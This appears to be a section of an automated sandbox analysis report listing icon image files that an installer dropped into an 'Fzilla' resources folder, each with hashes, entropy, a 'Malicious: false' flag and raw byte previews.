Preview:	.PNG........IHDR................a....IDATx......Q...K...f.F....K3...l...m..~.v.........M.....-.8.......1t....0..E.e\|.h...<....x{.h....Mml,.......d`..k...2..4....mml.)Q.o4.x...x1...t....k...c...!..4.....*Jcy...q..!..}!.._O.j`.=T....b.h3.N.5....\...w..1m..~=.[ZX.........P..8.Jur2M...5.5...<Xm6M2...o...z.....e..[[.+\|.\|9?n...C..n.:....'........;.'....l.*...U.h.q..3k../\.'K.....\|..D....f.....@.P...nsh.......U...7......:.,..7\5....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\16x16\is-10K04.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	583
Entropy (8bit):	6.361058456070397
Encrypted:	false
SSDEEP:	12:SQVdHeF5EQJHav2uw3dxeXCLUUrUCL03M+vh1en:OxMOuQreXqUf3M+vh1e
MD5:	9279BC2F725A07944E01E3B56489466E
SHA1:	713093C59B442D9E5DE54576B0749E8B91EB72E8
SHA-256:	3C4B0072D9EC072C6BA94EEF2972DFC9A1C3EF6E466F29ACF8A663799E6047E7
SHA-512:	2B2ED3CE522CB6837033A4950466B69002B55D6D30B5B2A8A5559B40443919964FB1D1FFB456B5AF2A60C0C35B25BF2C4BB588DA58E5727228A294DA4A90F798
Malicious:	false
Preview:	GIF89a..........BBB...bbb............!..NETSCAPE2.0.....!.......,..........3h...0.Ik.!......N.f..1.......A.@Q.-;.9..)...Jk.H..!.......,..........-h.....!BT.......ECClD3l 1^@Q..,o.A.... K84$..!.......,..........-h...k.!..d4j.pD.@....5..U...Q.a..p...n.....!.......,..........-h.@.+.........m.@.. .JA.E.....5..Xm..08.$..!.......,..........+hjP.+........&vA@\b4..I..Z.P.t ....<....!.......,..........+h...=.K.P.;M.E.X...C..A@tC;.h.....B..=.....!.......,..........h....=.'....& .U...p.@t.....~/.....j..%..!.......,..........,h.l.-...uQ..V@Q`. ..8...DH....`..B.....H..;

C:\Program Files (x86)\Fzilla\resources\16x16\is-AHVS1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	459
Entropy (8bit):	7.421008793663681
Encrypted:	false
SSDEEP:	12:6v/7IC8jAqPfRPV9wVWxc79/mrKGjHpE6oFlUb/gq:tjAAJPV9wWuh/qHC6oFgN
MD5:	F3C6E2F122398052A7AFE5D9924A32E7
SHA1:	587AD001EE990EA397C14524D92E78CE79581897
SHA-256:	3837185790FA51CF6A91655182B81F8AF988170FD693012A2F153EB7963FB9FA
SHA-512:	85A46585FA11D3752FCDA256FC84A94EB498D9E872B3251D94DE2AF2E2655EE4E0929961139F7DCA956CB7BBE569BA0D5F3BA4BF324C9631835C5C7143692B2E
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx......Q...K...f.F....K3...l...m..~.v.........M.....-.8.......1t....0..E.e\|.h...<....x{.h....Mml,.......d`..k...2..4....mml.)Q.o4.x...x1...t....k...c...!..4.....*Jcy...q..!..}!.._O.j`.=T....b.h3.N.5....\...w..1m..~=.[ZX.........P..8.Jur2M...5.5...<Xm6M2...o...z.....e..[[.+\|.\|9?n...C..n.:....'........;.'....l.*...U.h.q..3k../\.'K.....\|..D....f.....@.P...nsh.......U...7......:.,..7\5....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\16x16\is-BOFCO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	89
Entropy (8bit):	5.060583578134108
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtFSqpRuH9vKHlbp:6v/lhPO6fONKHdp
MD5:	03198F6783D16BE48CEA18301F1457DB
SHA1:	55598904340172041826972F784BEA4F3FF9B179
SHA-256:	640CEE2F245A1DD93DBC3CF6CB7D61875431D199DC4ED12C6578DE96E3DD4238
SHA-512:	F59C88C9050554A43640524A100B1E7FF05C2B696FE967BD8AB88B24F67DE606D0824E5A0474FDA12C02C01BC995A337D62D56B8B02DE96ADC264C68F0AB4497
Malicious:	false
Preview:	.PNG........IHDR...............7.... IDATx.c.7...x.a4..0..F...0...z......sH....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\16x16\throbber.gif (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	583
Entropy (8bit):	6.361058456070397
Encrypted:	false
SSDEEP:	12:SQVdHeF5EQJHav2uw3dxeXCLUUrUCL03M+vh1en:OxMOuQreXqUf3M+vh1e
MD5:	9279BC2F725A07944E01E3B56489466E
SHA1:	713093C59B442D9E5DE54576B0749E8B91EB72E8
SHA-256:	3C4B0072D9EC072C6BA94EEF2972DFC9A1C3EF6E466F29ACF8A663799E6047E7
SHA-512:	2B2ED3CE522CB6837033A4950466B69002B55D6D30B5B2A8A5559B40443919964FB1D1FFB456B5AF2A60C0C35B25BF2C4BB588DA58E5727228A294DA4A90F798
Malicious:	false
Preview:	GIF89a..........BBB...bbb............!..NETSCAPE2.0.....!.......,..........3h...0.Ik.!......N.f..1.......A.@Q.-;.9..)...Jk.H..!.......,..........-h.....!BT.......ECClD3l 1^@Q..,o.A.... K84$..!.......,..........-h...k.!..d4j.pD.@....5..U...Q.a..p...n.....!.......,..........-h.@.+.........m.@.. .JA.E.....5..Xm..08.$..!.......,..........+hjP.+........&vA@\b4..I..Z.P.t ....<....!.......,..........+h...=.K.P.;M.E.X...C..A@tC;.h.....B..=.....!.......,..........h....=.'....& .U...p.@t.....~/.....j..%..!.......,..........,h.l.-...uQ..V@Q`. ..8...DH....`..B.....H..;

C:\Program Files (x86)\Fzilla\resources\16x16\unknown.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	89
Entropy (8bit):	5.060583578134108
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtFSqpRuH9vKHlbp:6v/lhPO6fONKHdp
MD5:	03198F6783D16BE48CEA18301F1457DB
SHA1:	55598904340172041826972F784BEA4F3FF9B179
SHA-256:	640CEE2F245A1DD93DBC3CF6CB7D61875431D199DC4ED12C6578DE96E3DD4238
SHA-512:	F59C88C9050554A43640524A100B1E7FF05C2B696FE967BD8AB88B24F67DE606D0824E5A0474FDA12C02C01BC995A337D62D56B8B02DE96ADC264C68F0AB4497
Malicious:	false
Preview:	.PNG........IHDR...............7.... IDATx.c.7...x.a4..0..F...0...z......sH....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\20x20\is-OPI57.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 20 x 20, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	184
Entropy (8bit):	6.302679924142554
Encrypted:	false
SSDEEP:	3:yionv//thPlbGiIJHdhJ+jE2F+82AmjjvOG4eFHdW2xoalvOEsxT6e6LIx/kup:6v/lhPU31+jE2dUj69igs2nxTT6ETp
MD5:	81865F3AC002213307807A172D3E2BA0
SHA1:	A8A8D792D913E45A3B25CDB8C2662ED9EB7B0EB4
SHA-256:	979D50D9330CD9A8F915F822D4E40A62170483FC276D5866FB37E5951F913F98
SHA-512:	06759F6A3457B91DE47A10BB8C8CB42183B800146CD0149A6A26CC2CFF5280BCB2EE9EF437A2DB560BFA6524E6172339BFE112EC9785E92D8891FB51A67031D3
Malicious:	false
Preview:	.PNG........IHDR.............'......IDATx.c .$1,b......[.}.......G....+..P.`. ... .............#F!;P.Ob....>"Fa?P......3H.W....L...y....6!L....&a...(.?.x......^........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\20x20\unknown.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 20 x 20, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	184
Entropy (8bit):	6.302679924142554
Encrypted:	false
SSDEEP:	3:yionv//thPlbGiIJHdhJ+jE2F+82AmjjvOG4eFHdW2xoalvOEsxT6e6LIx/kup:6v/lhPU31+jE2dUj69igs2nxTT6ETp
MD5:	81865F3AC002213307807A172D3E2BA0
SHA1:	A8A8D792D913E45A3B25CDB8C2662ED9EB7B0EB4
SHA-256:	979D50D9330CD9A8F915F822D4E40A62170483FC276D5866FB37E5951F913F98
SHA-512:	06759F6A3457B91DE47A10BB8C8CB42183B800146CD0149A6A26CC2CFF5280BCB2EE9EF437A2DB560BFA6524E6172339BFE112EC9785E92D8891FB51A67031D3
Malicious:	false
Preview:	.PNG........IHDR.............'......IDATx.c .$1,b......[.}.......G....+..P.`. ... .............#F!;P.Ob....>"Fa?P......3H.W....L...y....6!L....&a...(.?.x......^........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\24x24\is-LH8TO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	212
Entropy (8bit):	6.669656469204791
Encrypted:	false
SSDEEP:	3:yionv//thPlT/Xt+Gw1Ul4HoJZKx2pee3M9P/17uRXY2HkqYHk6wizCUKOeq7ldE:6v/lhPXPxm60x8Bc9P/x8d7TCDHmVp
MD5:	D0C1B3BAFF23B05FFF6BB33ADDD5C94D
SHA1:	1E496CC0A6FB53A0F69436FA7E653290C423C93E
SHA-256:	02ED6B1F90F7DB4143BBA9B7B622EE307E4409C7D3EAA67BA219859FE643F6CF
SHA-512:	4323B06FD4BC2F788A2A63FA57F02265B3F5475CD74CD4715B7B142B2B88ED422F521B724ECC990F458682ECF39FC4F5CDEDD133B6AA719612068B1CF4B73485
Malicious:	false
Preview:	.PNG........IHDR.............J~.s....IDATx...%T.@.....2...X..G.T..%..`.....q..u..\|V..]..iX../Z..........p.].l)....B.g.)qW....Y...Y...Y..z.Q..!4z.d=B......aN1.kq"..E.$..%..4.......K7..Ss.j......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\24x24\unknown.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	212
Entropy (8bit):	6.669656469204791
Encrypted:	false
SSDEEP:	3:yionv//thPlT/Xt+Gw1Ul4HoJZKx2pee3M9P/17uRXY2HkqYHk6wizCUKOeq7ldE:6v/lhPXPxm60x8Bc9P/x8d7TCDHmVp
MD5:	D0C1B3BAFF23B05FFF6BB33ADDD5C94D
SHA1:	1E496CC0A6FB53A0F69436FA7E653290C423C93E
SHA-256:	02ED6B1F90F7DB4143BBA9B7B622EE307E4409C7D3EAA67BA219859FE643F6CF
SHA-512:	4323B06FD4BC2F788A2A63FA57F02265B3F5475CD74CD4715B7B142B2B88ED422F521B724ECC990F458682ECF39FC4F5CDEDD133B6AA719612068B1CF4B73485
Malicious:	false
Preview:	.PNG........IHDR.............J~.s....IDATx...%T.@.....2...X..G.T..%..`.....q..u..\|V..]..iX../Z..........p.].l)....B.g.)qW....Y...Y...Y..z.Q..!4z.d=B......aN1.kq"..E.$..%..4.......K7..Ss.j......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\32x32\filezilla.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.634189179638557
Encrypted:	false
SSDEEP:	12:6v/7ivTFAH8ei9K9IiKtO0M4+ZPWzANsYaQupZVtnWQ+5OoCOBnZJYz:7Api9VFO0xmP7NsmupLJWdOoCOxZJ6
MD5:	BAA555FA887E09927F18600880C5364D
SHA1:	8537F935CA921F9D79C7D6C2B34B39608152ECE7
SHA-256:	7411D2321A7110EAF08A2816AB28ED209442AEF7D774A7A69A2A3AB40C07AF22
SHA-512:	BDB7AFD1E1503577826280FB8D813001B514D931318F0CA440BDF03313623D5F5620BA1ECC9A7C65262D4EF92C763DCD107FA4F9A3EFB5D2F598A2172CF0CC25
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....mi..{.H.I/..Vvc...m..m.m..5...mw......>...E.......d.i.{7@...s.......~3......1b.-.\......"S..Fl..;\....\|.IE...F.......l.iE...F.)(......G..4.....d....r..........H.j..f..B..._{....l._.B..x.....8..O.....4........X...l.FF...CP..D....8..k.ti......!Re.......4.<H;..d.S...g.L.....L.t.(..x{#\.....!2........;dg.._....8.....hL.'..A....I..#......jk. ..z.....T...@...&..y..:.^......4.=+{........?..tM..u&..&.gf..;z.:.....\|.Y_\|.N...xO&..6.gg......Rx...;}...?.....}..ss.q...m.u\...G._.Q6....9...N./...>...<8..Z..P.};j.AWH....@76USC..U......pn.....k4...Z-6..q.....j.A..L.......7..v........1YW..++.n..S...........`...}))(...O>ir.P...&(.;9..$.............d.Y.[.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\32x32\is-Q9FFO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.634189179638557
Encrypted:	false
SSDEEP:	12:6v/7ivTFAH8ei9K9IiKtO0M4+ZPWzANsYaQupZVtnWQ+5OoCOBnZJYz:7Api9VFO0xmP7NsmupLJWdOoCOxZJ6
MD5:	BAA555FA887E09927F18600880C5364D
SHA1:	8537F935CA921F9D79C7D6C2B34B39608152ECE7
SHA-256:	7411D2321A7110EAF08A2816AB28ED209442AEF7D774A7A69A2A3AB40C07AF22
SHA-512:	BDB7AFD1E1503577826280FB8D813001B514D931318F0CA440BDF03313623D5F5620BA1ECC9A7C65262D4EF92C763DCD107FA4F9A3EFB5D2F598A2172CF0CC25
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....mi..{.H.I/..Vvc...m..m.m..5...mw......>...E.......d.i.{7@...s.......~3......1b.-.\......"S..Fl..;\....\|.IE...F.......l.iE...F.)(......G..4.....d....r..........H.j..f..B..._{....l._.B..x.....8..O.....4........X...l.FF...CP..D....8..k.ti......!Re.......4.<H;..d.S...g.L.....L.t.(..x{#\.....!2........;dg.._....8.....hL.'..A....I..#......jk. ..z.....T...@...&..y..:.^......4.=+{........?..tM..u&..&.gf..;z.:.....\|.Y_\|.N...xO&..6.gg......Rx...;}...?.....}..ss.q...m.u\...G._.Q6....9...N./...>...<8..Z..P.};j.AWH....@76USC..U......pn.....k4...Z-6..q.....j.A..L.......7..v........1YW..++.n..S...........`...}))(...O>ir.P...&(.;9..$.............d.Y.[.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\480x480\filezilla.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7870
Entropy (8bit):	7.8279205287088685
Encrypted:	false
SSDEEP:	192:tv6dCGVB5k0RUekkGJ+Vqk3ST+9cNG5wPGf7bU7:tSd3B1RKkGJ+Zz9lwa7bU7
MD5:	95FEF4675F817D2D06A7CDDF9A109288
SHA1:	0981D4769DFA65E65ABD7681E5E4ADE3B457F94E
SHA-256:	50EEEE967412EC62B165C3519425A387C61BCC52FDBBA74151A7F3E647EE357B
SHA-512:	E7EC935145FDACA44BC2343224B713873C3775FD37F2719CAE7E24E759FCCBB1C6730CA631EAD77A4D8464DD9A9C7EB97706563FE715A56B6F8664E52B50640F
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.............................................................................................................................................................. ........QQ.....CC...............++..hh.oo...88.............^^......................ww.....................................................................KK.............55...................XX.~~.......``...ff.BB.......RR.........vv......nn.........!!....................................................gg.......................99.......MM....)).........CC...............\|\|.............\\...UU....... .ii......................66..........vv.......pp.KK.dd......................,,.............BB.SS........................................................................%.......tRNS...5i-....WQ...q.D.....&z ...........K.._.=....................................................e..........z........................-.........M..\......!T......................

C:\Program Files (x86)\Fzilla\resources\480x480\is-R9VTT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7870
Entropy (8bit):	7.8279205287088685
Encrypted:	false
SSDEEP:	192:tv6dCGVB5k0RUekkGJ+Vqk3ST+9cNG5wPGf7bU7:tSd3B1RKkGJ+Zz9lwa7bU7
MD5:	95FEF4675F817D2D06A7CDDF9A109288
SHA1:	0981D4769DFA65E65ABD7681E5E4ADE3B457F94E
SHA-256:	50EEEE967412EC62B165C3519425A387C61BCC52FDBBA74151A7F3E647EE357B
SHA-512:	E7EC935145FDACA44BC2343224B713873C3775FD37F2719CAE7E24E759FCCBB1C6730CA631EAD77A4D8464DD9A9C7EB97706563FE715A56B6F8664E52B50640F
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.............................................................................................................................................................. ........QQ.....CC...............++..hh.oo...88.............^^......................ww.....................................................................KK.............55...................XX.~~.......``...ff.BB.......RR.........vv......nn.........!!....................................................gg.......................99.......MM....)).........CC...............\|\|.............\\...UU....... .ii......................66..........vv.......pp.KK.dd......................,,.............BB.SS........................................................................%.......tRNS...5i-....WQ...q.D.....&z ...........K.._.=....................................................e..........z........................-.........M..\......!T......................

C:\Program Files (x86)\Fzilla\resources\48x48\filezilla.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.7759314571334945
Encrypted:	false
SSDEEP:	24:31grSsEyCBQCK/Ub1kiSFLsz8VGSOyqlbK/mALA47iZRd4e9KGHJa1:3arfE31b/swdSOHd4XE4GNBc1
MD5:	DFABA6D62BCDA50ECCFB39EF591C207B
SHA1:	00D18080A95C7EEC55C2A91623895AF241917F56
SHA-256:	ADCC02F2D63D265DA0254695E90C7AF672702DF1F274D614F01B358383B3EB8B
SHA-512:	0716D9BE24E022021392814960AFA0C89A49444A9D47A9587EF727BDF90C1E796147C710F3214937854BA5198B3B14E81FCF346F88D78CC69153A148E1843DC5
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......3IDATx...lli...k{.dm..Z..m..;S.^...\.5f.=_.n&'.?.g.$O...b.9....3...a..F!.d.9.........3..#..c.....k.a....c..."}C.f...cSB.=..&.....C..4....g4.......;d!....{.a4...$}..5....` W..2...zK.....P...wF..+...a...`0..3...U....e...K./....z..T1.tJn.0S.0...<C.+l6.-.fJ.O.@.......~XrK5/.`.X...=.T.-.B..`.=.@..LM.,9.\o.(....W]E..6q.........p/.....w...........S.P...fZ..]&...<.:...832B+.'.=....3..u..y$.feE....3v.:.n..F.N:SR..;3C..jk...v2[+\|.....yT.../K..11...K.X^^....zA..<.....Un..../.<hm............z"..?..o..u{...sOS..,Y~.B.p.l....D.@..y&Ulu8$..LcyGju8....'.!.!.......Wv....0.sfdP..y...../..U.ss...$.k.,o.....O...#.!.3..O.@.#n7U..r..Z.......w.....@..}...MKN......t..QG.k.I]D...U.^r.U.mo.\."cywA.ut<...EE.....6~R*~..se...D.5........Nk.........e..b.@..jk.....\....ee.1.t).}...\...c..........LM..F....._+..f....9cb8.q#U..>....e...F...J..%./..M.sO:rs.r.f..q........e.h..f..P....H.HOg...vX.y0...HL9..N..2.FW..w.>..bb...O

C:\Program Files (x86)\Fzilla\resources\48x48\is-ME89T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.7759314571334945
Encrypted:	false
SSDEEP:	24:31grSsEyCBQCK/Ub1kiSFLsz8VGSOyqlbK/mALA47iZRd4e9KGHJa1:3arfE31b/swdSOHd4XE4GNBc1
MD5:	DFABA6D62BCDA50ECCFB39EF591C207B
SHA1:	00D18080A95C7EEC55C2A91623895AF241917F56
SHA-256:	ADCC02F2D63D265DA0254695E90C7AF672702DF1F274D614F01B358383B3EB8B
SHA-512:	0716D9BE24E022021392814960AFA0C89A49444A9D47A9587EF727BDF90C1E796147C710F3214937854BA5198B3B14E81FCF346F88D78CC69153A148E1843DC5
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......3IDATx...lli...k{.dm..Z..m..;S.^...\.5f.=_.n&'.?.g.$O...b.9....3...a..F!.d.9.........3..#..c.....k.a....c..."}C.f...cSB.=..&.....C..4....g4.......;d!....{.a4...$}..5....` W..2...zK.....P...wF..+...a...`0..3...U....e...K./....z..T1.tJn.0S.0...<C.+l6.-.fJ.O.@.......~XrK5/.`.X...=.T.-.B..`.=.@..LM.,9.\o.(....W]E..6q.........p/.....w...........S.P...fZ..]&...<.:...832B+.'.=....3..u..y$.feE....3v.:.n..F.N:SR..;3C..jk...v2[+\|.....yT.../K..11...K.X^^....zA..<.....Un..../.<hm............z"..?..o..u{...sOS..,Y~.B.p.l....D.@..y&Ulu8$..LcyGju8....'.!.!.......Wv....0.sfdP..y...../..U.ss...$.k.,o.....O...#.!.3..O.@.#n7U..r..Z.......w.....@..}...MKN......t..QG.k.I]D...U.^r.U.mo.\."cywA.ut<...EE.....6~R*~..se...D.5........Nk.........e..b.@..jk.....\....ee.1.t).}...\...c..........LM..F....._+..f....9cb8.q#U..>....e...F...J..%./..M.sO:rs.r.f..q........e.h..f..P....H.HOg...vX.y0...HL9..N..2.FW..w.>..bb...O

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	308
Entropy (8bit):	6.972327902057909
Encrypted:	false
SSDEEP:	6:6v/lhPfIoSO1WN6/osdMxpmtT7bllXhBwXvUrgMXQoFNsVh1nXjp:6v/7qO1XZx/XhBIvylNsZnXN
MD5:	349633C4CDC29C02CB34E8B605400B8A
SHA1:	59F0AD012A4BF5F1BF1D3CBF59B19CFEBCBEBE76
SHA-256:	90BF623710CEBBC06AB764E25ED74F6189F3E6B279C75C7EB5C69E8564F0B1E7
SHA-512:	CECE4F47776C4406377E9B5AE54CC4441AE3348B3F55E5B9FAD4B88AC295CE781093D34941F72CADD7A14361600F11A2D09C9FE24F13298DBB6DE5EC64EA72AE
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...rPLTE..................M....]......vzz...F.......SUUbde.......EGG......"##........................................k%D*....tRNS.@..f...pIDATx...EB.P....7t...t..z......g...DJ)....t;!b.mfE..C......2.-q.u.....:Y....K{.PZ...qlK.jW......D9....}j./,RH.jp......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	396
Entropy (8bit):	7.208882760983336
Encrypted:	false
SSDEEP:	12:6v/7uNpyU6eHtQh8QCBtQuQAlM9fzYsVmWc:nTCeH28QCBtu9rY5Wc
MD5:	434C26E5752C7A86ECA4D6F8452F4ECB
SHA1:	14DBA1F9079EC1BA3BA78B2245D98325F95F1DF6
SHA-256:	FF847AD75181DD4C0A350B43741C5CC6D94258A323A675E406AFDD909F0AE31D
SHA-512:	A6BA4E71BC8F7088E71428AAF8013FF592752CF9D6D97B973E6E501C18582C60FFB48E7CE1650F0375122308291CF1E4742FD9966D8351B50271F130761D920F
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS.......}....AIDATx....hEq.._..m.f..3r..S..l.m.m{q....n....;W5:.J......h../........Q.f...$.."u.6k.nr.ZA(.>w..q[s]t.N.....b-.\bF<....p6..H.!.Y...j).......<....3.k.4....=B............o.wB...wt......Ja.Dt8..A(-3......YW`iv..[......t.I....*.(....\|tqinn.}x..D^I.dj~...qso.\|f..Gg.t;.P8../...-oaO.ab~}ne{zqc\|n.ieA.S.".P...5.."....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	298
Entropy (8bit):	7.0096573424619395
Encrypted:	false
SSDEEP:	6:6v/lhPfRQzKHa2iCGEALO+Pym0ry2tXhR0cu+CvBmd/VNNm3lMS0p:6v/7azKHa2iCG1LO1ySXhyUWKQ3WS2
MD5:	7145960BCA9C6FADE0613C66A3B936B5
SHA1:	8BAC1ED1D6930D0AA5B20FB72B72831A1987F815
SHA-256:	22E70C98254032BC9533FF40D2F818EFDF9D7790895F27FF8BD14FF4223ED534
SHA-512:	CFE45C72604DC90DBE8BF3335B8131694862C461A3F7F1330C494CCE2A2E00168FAD49E0D7A91A54964C0DA8C94C39F421ECF9209FD01D771C7E7455C71487A3
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...{PLTE..................M....]...d..u........F.....v......{......P..O..O..S.....s..Y.JY.L......].k..........................j....tRNS.@..f...]IDATx...1..@...y..o....,.....K.).O..'..1.6CI.^.<.iZ.X<g7.\.'..9.jf.0+.Wo....#.h-.c;.#.../o.,.Ip.V.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	165
Entropy (8bit):	5.973230255679673
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSARBx7jtRi+LeSLJcx4UC/Vn1g0ftYzYgRPrk/lkup:6v/lhPmNpocB5imeSLJA4UC/lq0fS0UC
MD5:	00AF3E61EE2B3FA856AD1B3FAFF8FF8B
SHA1:	35745115917277BA5429707ED830BB45519AD788
SHA-256:	8B58B62E6465CAB168A8F473A888D09C180EE6E54EFA521D3C022085F65D8923
SHA-512:	B37C4B8692A03DA39DD1C494808DE63DDEA6B0B00EFF8640735D757480170DE1B5BA85E17F5BC3F393CD9FF9E912EBBD40FACC4EDA50FC9A8F120DCBC46CF3A5
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......u..7...ZIDATx.c.o=I..........L.S.>.l...q......j..C.i.H.N..k...h...\68.."..+w.....X.@.a......h.Z..(.A.o......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\bookmarks.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	165
Entropy (8bit):	5.973230255679673
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSARBx7jtRi+LeSLJcx4UC/Vn1g0ftYzYgRPrk/lkup:6v/lhPmNpocB5imeSLJA4UC/lq0fS0UC
MD5:	00AF3E61EE2B3FA856AD1B3FAFF8FF8B
SHA1:	35745115917277BA5429707ED830BB45519AD788
SHA-256:	8B58B62E6465CAB168A8F473A888D09C180EE6E54EFA521D3C022085F65D8923
SHA-512:	B37C4B8692A03DA39DD1C494808DE63DDEA6B0B00EFF8640735D757480170DE1B5BA85E17F5BC3F393CD9FF9E912EBBD40FACC4EDA50FC9A8F120DCBC46CF3A5
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......u..7...ZIDATx.c.o=I..........L.S.>.l...q......j..C.i.H.N..k...h...\68.."..+w.....X.@.a......h.Z..(.A.o......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	345
Entropy (8bit):	7.067400943510153
Encrypted:	false
SSDEEP:	6:6v/lhPmNpoXIubB4Qt4sFqHnVIu4f7zIwcbTgw6eh0HHpu+YHtwpHMiLfFGCGm+t:6v/7uNpAIubbt4LVR4QwGgw6ehQxewpm
MD5:	FBC5D88D9F0E29B6ACE7B88109308632
SHA1:	9E7F3529A17E24110302F63DD4D140B00BF2E603
SHA-256:	8B35072F21559F3175583B2F5A90C578DD8583C735D6108657C163ED21813409
SHA-512:	8702B05CFE7E352AED2BA64F82ACA586A365FF26C7551733C7D9A8FE3FDD2B7E06010A94A0FC5D0999454994D6B4EE814999F48638D20B439AC13748FF943109
Malicious:	false
